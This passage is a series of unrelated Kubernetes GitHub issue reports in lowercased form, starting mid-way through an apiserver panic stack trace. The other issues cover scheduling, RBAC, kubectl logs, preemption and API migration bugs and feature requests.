/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:47\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:39\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:46\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189\r /usr/local/go/src/net/http/server.go:2697\r /usr/local/go/src/net/http/server.go:1830\r /usr/local/go/src/runtime/asm_amd64.s:2361\r e0131 03:05:35.101415       1 wrap.go:32  apiserver panic'd on post /api/v1/namespaces/kube-system/pods/<pod-name>/portforward\r i0131 03:05:35.101525       1 log.go:172  http: panic serving <host-ip>:36814: runtime error: invalid memory address or nil pointer dereference\r goroutine 767971  running :\r net/http.  conn .serve.func1 0xc436a98be0 \r \t/usr/local/go/src/net/http/server.go:1726 +0xd0\r panic 0x36141e0, 0x73a5a00 \r \t/usr/local/go/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc42ea29cc8, 0x1, 0x1 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r panic 0x36141e0, 0x73a5a00 \r \t/usr/local/go/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy.normalizelocation 0xc433b4d180, 0xc42a546090 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go:167 +0x48\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy.newupgradeawarehandler 0xc433b4d180, 0x5459c40, 0xc42019f0e0, 0xc42a540100, 0x545c320, 0xc42a546090, 0x0 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go:177 +0x2f\r k8s.io/kubernetes/pkg/registry/core/pod/rest.newthrottledupgradeawareproxyhandler 0xc433b4d180, 0x5459c40, 0xc42019f0e0, 0xc421010100, 0x546d420, 0xc42f7bfe40, 0xc4212b9c49 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/pod/rest/subresources.go:195 +0xe7\r k8s.io/kubernetes/pkg/registry/core/pod/rest.  portforwardrest .connect 0xc4215e2340, 0x54915a0, 0xc427ad8de0, 0xc4212b9c49, 0x1d, 0x5463fa0, 0xc4313a4840, 0x546d420, 0xc42f7bfe40, 0xc435a33f00, ... \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/pod/rest/subresources.go:191 +0x1cf\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.connectresource.func1.1  \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:143 +0x1bd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.recordlongrunning 0xc42ccf1f00, 0xc42fa47ad0, 0xc435a344e0 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:188 +0x1c5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.connectresource.func1 0x5486d60, 0xc430d60a10, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:142 +0x4c5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulconnectresource.func1 0xc427ad8cc0, 0xc425b21620 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1100 +0xd6\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc427ad8cc0, 0xc425b21620 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:225 +0x208\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4209c1a70, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0x9b9\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4209c1a70, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3e052ff, 0xe, 0xc4209c1a70, 0xc42057e9a0, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:146 +0x4ec\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc4252faf50, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:90 +0x169\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc436861a40, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x266\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42566e150, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3e082db, 0xf, 0xc427041050, 0xc42566e150, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x6a8\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:64 +0x4b1\r net/http.handlerfunc.servehttp 0xc424558640, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:126 +0x4e7\r net/http.handlerfunc.servehttp 0xc4254060c0, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:50 +0x1ce1\r net/http.handlerfunc.servehttp 0xc424558680, 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1f00 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:75 +0x2b3\r net/http.handlerfunc.servehttp 0xc4245586c0, 0x5486de0, 0xc4314d0f50, 0xc42ccf1300 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc421a203a0, 0x5486de0, 0xc4314d0f50, 0xc42ccf1300 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91 +0x3e4\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withwaitgroup.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1300 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:47 +0xd4\r net/http.handlerfunc.servehttp 0xc4254060f0, 0x5486de0, 0xc4314d0f50, 0xc42ccf1300 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1000 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:39 +0x181\r net/http.handlerfunc.servehttp 0xc425406120, 0x5486de0, 0xc4314d0f50, 0xc42ccf1000 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x5486de0, 0xc4314d0f50, 0xc42ccf1000 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:46 +0x11a\r net/http.handlerfunc.servehttp 0xc421a203c0, 0x5487fe0, 0xc4264d5dc0, 0xc42ccf1000 \r \t/usr/local/go/src/net/http/server.go:1947 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc425406150, 0x5487fe0, 0xc4264d5dc0, 0xc42ccf1000 \r \t/workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189 +0x51\r net/http.serverhandler.servehttp 0xc4234d0dd0, 0x5487fe0, 0xc4264d5dc0, 0xc42ccf1000 \r \t/usr/local/go/src/net/http/server.go:2697 +0xbc\r net/http.  conn .serve 0xc436a98be0, 0x54914e0, 0xc4302a7ec0 \r \t/usr/local/go/src/net/http/server.go:1830 +0x651\r created by net/http.  server .serve\r \t/usr/local/go/src/net/http/server.go:2798 +0x27b\r    \r \r according to the stack trace, the error comes from: https://github.com/kubernetes/kubernetes/blob/v1.12.5/staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go l167\r \r any ideas? \r \r thanks in advance!

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-kubemark-gce-scale\r \r   which test s  are failing  :\r density test\r \r   since when has it been failing  :\r run 1125829298771464196. \t2019-05-07 18:27:02 +0000 utc\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-scalability-kubemark kubemark-5000\r \r   reason for failure  :\r durring saturation phase only 3816 pods are scheduled.\r \r   anything else we need to know  :\r it looks like the same issue happens to kubemark-100-high-density. the number of scheduled pods stops at 349.\r

maybe we should have two e2e test runs in jenkins, one that always runs in the same order, and one that runs in a random order.  that way we can differentiate always-regressions  on the same-order test  from probably-regressions  random-order test .

it would be really handy to be able to run the proxy endpoint presented by the api server in a container in order to: 1.  run it without loading the api server with traffic 2.  run it behind a service, scaled horizontally via replication controller  @smarterclayton @derekwaynecarr cc @detiber

automation should work to unblock prs that are not getting attention from reviewers. - nagging with ping messages - reassigning to a new reviewer  leave a comment so we can track when this is happening and why  - flagging the pr as needing manual intervention from an on call role - allow reviewers to leave vacation times so they don't get assigned  tracked in: https://github.com/kubernetes/contrib/issues/1422

when i try to debug kubelet，i find kubelet log is out-of sequence.it made me confused for one hour. can kubelet print log in chronological order? or kubelet have trouble in log outputing? thx\r ------------------------------------------------------------------------------------\r 38.45:5443: getsockopt: connection refused\r e1105 10:29:53.995822    4789 reflector.go:216  pkg/kubelet/kubelet.go:1230: failed to list  api.configmap: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/configmaps?resourceversion=0: net/http: tls handshake timeout\r e1105 10:29:54.088160    4789 reflector.go:205  pkg/kubelet/kubelet.go:279: failed to list  api.service: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/services?resourceversion=0: net/http: tls handshake timeout\r e1105 10:29:54.555772    4789 reflector.go:315  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: get https://3.0.38.45:5443/api/v1/watch/namespaces/cse-system/pods?fieldselector=spec.nodename%3d3.0.38.48&resourceversion=125071&timeoutseconds=395: net/http: tls handshake timeout\r e1105 10:29:54.741713    4789 reflector.go:216  pkg/kubelet/kubelet.go:303: failed to list  api.node: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/nodes?fieldselector=metadata.name%3d3.0.38.48&resourceversion=0: net/http: tls handshake timeout\r e1105 10:29:57.904877    4789 kubelet.go:3241  error updating node status, will retry: error getting node \ 3.0.38.48\ : get https://3.0.38.45:5443/api/v1/namespaces/cse-system/nodes/3.0.38.48: net/http: tls handshake timeout\r e1105 10:30:04.996551    4789 reflector.go:216  pkg/kubelet/kubelet.go:1230: failed to list  api.configmap: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/configmaps?resourceversion=0: net/http: tls handshake timeout\r e1105 10:30:05.088784    4789 reflector.go:205  pkg/kubelet/kubelet.go:279: failed to list  api.service: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/services?resourceversion=0: net/http: tls handshake timeout\r e1105 10:30:05.556644    4789 reflector.go:205  pkg/kubelet/config/apiserver.go:43: failed to list  api.pod: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/pods?fieldselector=spec.nodename%3d3.0.38.48&resourceversion=0: net/http: tls handshake timeout\r e1105 10:30:05.742468    4789 reflector.go:216  pkg/kubelet/kubelet.go:303: failed to list  api.node: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/nodes?fieldselector=metadata.name%3d3.0.38.48&resourceversion=0: net/http: tls handshake timeout\r e1105 09:40:01.594246    4789 kubelet.go:3241  error updating node status, will retry: error getting node \ 3.0.38.48\ : get https://3.0.38.45:5443/api/v1/namespaces/cse-system/nodes/3.0.38.48: net/http: tls handshake timeout\r e1105 09:40:09.686023    4789 reflector.go:216  pkg/kubelet/kubelet.go:1230: failed to list  api.configmap: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/configmaps?resourceversion=0: net/http: tls handshake timeout\r e1105 09:40:09.778134    4789 reflector.go:205  pkg/kubelet/kubelet.go:279: failed to list  api.service: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/services?resourceversion=0: net/http: tls handshake timeout\r e1105 09:40:10.246199    4789 reflector.go:205  pkg/kubelet/config/apiserver.go:43: failed to list  api.pod: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/pods?fieldselector=spec.nodename%3d3.0.38.48&resourceversion=0: net/http: tls handshake timeout\r e1105 09:40:10.431856    4789 reflector.go:216  pkg/kubelet/kubelet.go:303: failed to list  api.node: get https://3.0.38.45:5443/api/v1/namespaces/cse-system/nodes?fieldselector=metadata.name%3d3.0.38.48&resourceversion=0: net/http: tls handshake timeout\r w1105 09:41:39.636119    4789 container_manager_linux.go:573  cpuaccounting not enabled for pid: 1981\r w1105 09:41:39.636144    4789 container_manager_linux.go:576  memoryaccounting not enabled for pid: 1981\r i1105 09:41:39.636159    4789 container_manager_linux.go:284  discovered runtime cgroups name: /system.slice/docker.service\r w1105 09:41:39.636200    4789 container_manager_linux.go:573  cpuaccounting not enabled for pid: 4789\r w1105 09:41:39.636207    4789 container_manager_linux.go:576  memoryaccounting not enabled for pid: 4789\r w1105 09:46:39.636407    4789 container_manager_linux.go:573  cpuaccounting not enabled for pid: 1981\r w1105 09:46:39.636428    4789 container_manager_linux.go:576  memoryaccounting not enabled for pid: 1981\r i1105 09:46:39.636436    4789 container_manager_linux.go:284  discovered runtime cgroups name: /system.slice/docker.service\r w1105 09:46:39.636486    4789 container_manager_linux.go:573  cpuaccounting not enabled for pid: 4789\r

this was brought up several times, but i've spoke with @bgrant0607 yesterday on slack and it's reasonable to entirely get rid of  extensions  api group by the end of 2017. to make this happen we here are the steps needed to make it happen\r \r -     custommetrictarget should migrate to autoscaling  @kubernetes/sig-scalability-feature-requests @mwielgus \r -     thirdpartyresource should migrate to ???  @kubernetes/sig-api-machinery-misc @deads2k \r -  x  deployment should migrate to apps  @kubernetes/sig-apps-feature-requests @soltysh  - done in  39683 \r -     daemonset should migrate to apps  @kubernetes/sig-apps-feature-requests @lukaszo \r -     ingress should migrate to ???  @kubernetes/sig-network-feature-requests \r -     replicaset should migrate to apps  @kubernetes/sig-apps-feature-requests \r -     podsecuritypolicy should migrate to ?policy?  @kubernetes/sig-node-feature-requests @pweil- \r -     networkpolicy should migrate to ???  @kubernetes/sig-network-feature-requests

problem: when users sends a cascading deletion request to federation i.e they set orphandependents=false, then federation should also set orphandependents=false, when it sends the request to underlying clusters.\r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r memory scheduler / memory scheduling\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-25t14:48:12z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  custom/mixed\r -   os    e.g. from /etc/os-release :  coreos 1353.7.0  stable \r -   kernel    e.g.  uname -a  : linux coreos04.kub.do.modio.se 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2650l v3 @ 1.80ghz genuineintel gnu/linux\r \r -   install tools  : manual guide / ansible\r -   others  :\r \r \r   what happened  :\r scheduling pods which have a memory limit slowly fails after a few pod deployments, until the master node is restarted, upon which it starts working again.\r \r pods are configured with:\r    \r           resources:\r             limits:\r                 memory: \ 1gi\ \r                 cpu: \ 1\ \r             requests:\r                 cpu: \ 100m\ \r                 memory: \ 30mi\ \r \r    \r while the node ouputs:\r    \r     capacity:\r      cpu:\t\t2\r      memory:\t2052872ki\r      pods:\t\t110\r     allocatable:\r      cpu:\t\t2\r      memory:\t1950472ki\r      pods:\t\t110\r \r    \r and further down:\r    \r     allocated resources:\r        total limits may be over 100 percent, i.e., overcommitted. \r       cpu requests\tcpu limits\tmemory requests\tmemory limits\r       ------------\t----------\t---------------\t-------------\r       150m  7% \t1  50% \t\t12mi  0% \t128mi  6% \r events:\r    \r \r the numbers don't add up, and manually stepping through sizes show that up to ~300mi the nodes schedule, after that they fail. this behaviour appears consistently for us.\r \r \r \r \r \r \r  node.description.txt  https://github.com/kubernetes/kubernetes/files/971603/node.description.txt \r  pod.description.txt  https://github.com/kubernetes/kubernetes/files/971602/pod.description.txt \r \r \r \r   what you expected to happen  :\r requirements limiting the jobs on the machine to ~3  due to memory pressure\r \r   how to reproduce it    as minimally and precisely as possible :\r schedule a lot of pods with memory limits and  delete them / let them complete.\r \r for us, this is a giblab ci runner which connects to create pods for us, and after a while all our build machines stand empty, and jobs wait in scheduling tempo forever.\r \r \r   anything else we need to know  :\r pass.\r

related to https://github.com/kubernetes/kubernetes/issues/43299, what is the rbac policy to lock down watching to a particular object  in my case, a secret ?\r \r i've tried:\r    \r - apigroups:  \ \  \r   resources:  \ secrets\  \r   verbs:  \ get\ ,\ watch\ ,\ list\  \r   resourcenames:  \ singleton\  \r    \r \r but that gives me \ ...cannot list secrets...\ \r \r it seems to need:\r \r    \r - apigroups:  \ \  \r   resources:  \ secrets\  \r   verbs:  \ get\ ,\ watch\ ,\ list\  \r    \r \r this is using:\r \r    \r listopts.fieldselector = fields.onetermequalselector \ metadata.name\ , c.name .string  \r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  /area kubectl\r >  \r \r   what happened  :\r the output of  kubectl logs -f  gets stuck for high output logs. restarting the command doesn't fix the issue.\r   what you expected to happen  :\r to continue getting output from the command.\r   how to reproduce it  as minimally and precisely as possible   :\r $ gcloud container clusters create --cluster-version=1.8.6-gke.0 test \r $ kubectl run debug --image=alpine -- /bin/sh -c \ while true ; do date ; sleep 0.001 ; done\  \r $ kubectl logs <debug's_pods> -f \r \r   anything else we need to know?  :\r the command gets stuck after around 5 minutes running. it doesn't happen for less frequents logs  e.g. using \ sleep 0.01\  instead of \ sleep 0.001\  .\r this was tested in gke  kubernetes engine  and kubernetes on gce clusters.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.6 on gke and v1.9.2 on gce\r - cloud provider or hardware configuration: google cloud platform\r - os  e.g. from /etc/os-release : container-optimized os  gke version 63, gce version 60 \r - kernel  e.g.  uname -a  :\r gke nodes:\r linux gke-cluster-1-default-pool-4643f8f5-s95q 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r gce master and nodes:\r linux kubernetes-master 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r linux kubernetes-minion-group-c0fv 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r \r - install tools: followed https://kubernetes.io/docs/getting-started-guides/gce/ for gce cluster\r - others:\r

  /assign @nikhita \r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiextensions-apiserver/pkg/registry/customresource/strategy.go l120 increments generation if spec changes, but if spec does not change or if subresources are disabled, i'd expect generation to be forced to stay the same

hello,\r i have deployed the multi node cluster. one master and another worker. the cluster is working fine. when i deployed the one java service on one of the container in pod, it is not accessible. \r these cluster is deployed on the vms of azure cloud.\r \r as per the doc, i tried accessing the service using nodeport and the external ip. but still not working.\r following are the few commands to get the cluster information ....\r \r   what is not working   \r http endpoints are not working when i hit the url . not sure it is port issue or firewall configuration.\r \r   what is to be expected  \r able to hit the application deployed in container\r \r commands : \r \r >  root@centos-master1 ~   kubectl cluster-info\r > kubernetes master is running at https://10.0.7.13:6443\r > kubedns is running at https://10.0.7.13:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\r > \r > \r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r  root@centos-master1 ~  \r \r >  root@centos-master1 ~   kubectl get pods -n shopping\r > name                    ready     status    restarts   age\r > shop-699c55769c-g2smk   1/1       running   0          3h\r >  root@centos-master1 ~  \r > \r > \r \r >  root@centos-master1 ~   kubectl get services -n shopping\r > name           type       cluster-ip      external-ip   port s         age\r > shop-service   nodeport   10.108.79.255   <none>        80:30677/tcp   3h\r >  root@centos-master1 ~  \r > \r > \r \r >  root@centos-master1 ~   kubectl get deployments -n shopping\r > name      desired   current   up-to-date   available   age\r > shop      1         1         1            1           3h\r >  root@centos-master1 ~  \r \r please suggest some pointers what should be the correct url to access the application \r i tried with following:\r 1: http://10.0.7.13:80/\r 2: http://10.0.7.14:80/\r 3: http://10.0.7.13:30677/\r 4: http://10.0.7.14:30677/\r 5: http://13.94.113.47:80/\r 6: http://13.94.113.47:30677/\r thanks\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i set up a cluster with 2 nodes. i used 2 rs to test preemption.  2  yamls of rs are as flow:\r \r    \r apiversion: apps/v1\r kind: replicaset\r metadata:\r   labels:\r     app: nginx\r   name: webcritial1\r   namespace: default\r spec:\r   replicas: 8\r   selector:\r     matchlabels:\r       app: nginxcritial1\r   template:\r     metadata:\r       labels:\r         app: nginxcritial1\r     spec:\r       containers:\r       - image: nginx\r         imagepullpolicy: always\r         name: nginxcritial1\r         ports:\r         - containerport: 80\r           name: web\r           protocol: tcp\r         resources:\r           requests:\r             memory: \ 64mi\ \r             cpu: \ 250m\ \r           limits:\r             memory: \ 128mi\ \r             cpu: \ 500m\ \r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r     \r    \r apiversion: apps/v1\r kind: replicaset\r metadata:\r   labels:\r     app: nginx\r   name: webcritial\r   namespace: default\r spec:\r   replicas: 10\r   selector:\r     matchlabels:\r       app: nginxcritial\r   template:\r     metadata:\r       labels:\r         app: nginxcritial\r     spec:\r       priorityclassname: system-node-critical\r       containers:\r       - image: nginx\r         imagepullpolicy: always\r         name: nginxcritial\r         ports:\r         - containerport: 80\r           name: web\r           protocol: tcp\r         resources:\r           requests:\r             memory: \ 64mi\ \r             cpu: \ 250m\ \r           limits:\r             memory: \ 128mi\ \r             cpu: \ 500m\ \r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r    \r \r \r 1. i first created  the rs webcritial.\r 2. created  the rs webcritial1.\r \r results are like this:\r \r ! image  https://user-images.githubusercontent.com/12230714/56435685-f5bb6580-630b-11e9-824c-cf350dae8571.png \r \r \r ! image  https://user-images.githubusercontent.com/12230714/56435482-277ffc80-630b-11e9-937e-2d5b68bcaec1.png \r \r ! image  https://user-images.githubusercontent.com/12230714/56435607-a6753500-630b-11e9-8703-5b61338dd2e5.png \r \r \r webcritial with high  not creatiepod successfully.\r \r \r   what you expected to happen  :\r \r webcritial with high  create pod successfully. pods of webcritial1 would be deleted.\r 